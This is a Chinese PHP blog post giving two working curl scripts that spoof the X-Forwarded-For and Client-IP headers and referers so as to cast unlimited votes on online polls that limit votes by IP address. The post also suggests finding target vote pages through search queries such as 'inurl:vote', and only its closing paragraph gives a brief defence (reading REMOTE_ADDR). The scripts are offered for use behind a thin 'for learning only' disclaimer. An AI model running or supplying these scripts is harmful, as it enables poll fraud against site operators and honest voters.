极品分享

PHP CURL POST提交及刷票

很多网站上的投票依据是ip地址,不同的ip地址一天可投票一次

下面的代码就是利用curl扩展来伪造ip地址 达到无限制投票;

function shuapiao()
{
	$times = $_POST['times'];  //投票次数  
	$url = $_POST['url'];   //投票地址[某个选手下方投票按钮的链接]  
	while ($times)   
	{  
		$ip1 = 'X-FORWARDED-FOR:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225);  
		$ip2 = 'CLIENT-IP:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225);  
		$arr = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');  
		$from = "http://www.".$arr[rand(0,25)].".com/";  
		$ch = curl_init();   
		curl_setopt($ch, CURLOPT_URL, $url);   
		curl_setopt($ch, CURLOPT_HTTPHEADER, array($ip1, $ip2));   
		curl_setopt($ch, CURLOPT_REFERER, $from);   
		curl_setopt($ch, CURLOPT_HEADER, 1);   
		curl_exec($ch);   
		curl_close($ch);  
		$times--;  
	}  
	return ;  
}



注意:大部分系统都是可以的,主要是他在检测ip地址的时候并没有检查到真实的地址,但是有些程序员的代码写的比较谨慎的,这种就不行了,

如果你想测试一下这个代码但是又找不到投票系统怎么办,在百度或者谷歌搜索栏中输入 inurl:vote  或者inurl:toupiao  会找到很多,

本文只作学习交流,使用一切后果与本人无关





模拟ip刷票的php程序

<?php
$ip = $_GET['ip'] ? $_GET['ip'] : '1.1.1.1';
$ipArr = explode(".", $ip);
$ipArr[3] = $ipArr[3] + 1;
if ( $ipArr[3] > 254 )
{
    $ipArr[3] = 1;
    $ipArr[2] = $ipArr[2] + 1;
}
if ( $ipArr[2] > 254 )
{
    $ipArr[2] = 1;
    $ipArr[1] = $ipArr[1] + 1;
}
if ( $ipArr[1] > 254 )
{
    $ipArr[1] = 1;
    $ipArr[0] = $ipArr[0] + 1;
}
if ( $ipArr[0] > 254 )
{
    exit();
}
$ip = implode(".", $ipArr);
// 此处设置投票的id
$post_data = 'vid=8';

// 投票的地址
$url = 'http://www.xxx.com/api.php?m=vote&a=voteto';
$user_agent = "Mozilla/4.0";

$headers['CLIENT-IP'] = $ip;
$headers['X-FORWARDED-FOR'] = $ip;

$headerArr = array();
foreach ( $headers as $n => $v )
{
    $headerArr[] = $n . ':' . $v;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArr); // 构造IP
curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com/ "); // 构造来路
curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

ob_start();
curl_exec($ch);
$result = ob_get_contents();
ob_end_clean();

echo $result;
echo '<meta http-equiv="refresh" content="1;url=http://localhost/phpk/post.php?ip=' . $ip . '"> ';
?>



使用范围:所有限制ip地址的投票网站。投票数可到254*254*254*254。



如何防范该类刷票行为:

在获取客户端ip的时候优先使用:

$ip = getenv('REMOTE_ADDR');

用remote_addr可以有效控制模拟ip投票,除非使用代理才能绕过去,但是用web实现代理,速度就很慢了。

2018-06-21 0 /
PHP学习
/
标签: 

评论回复

回到顶部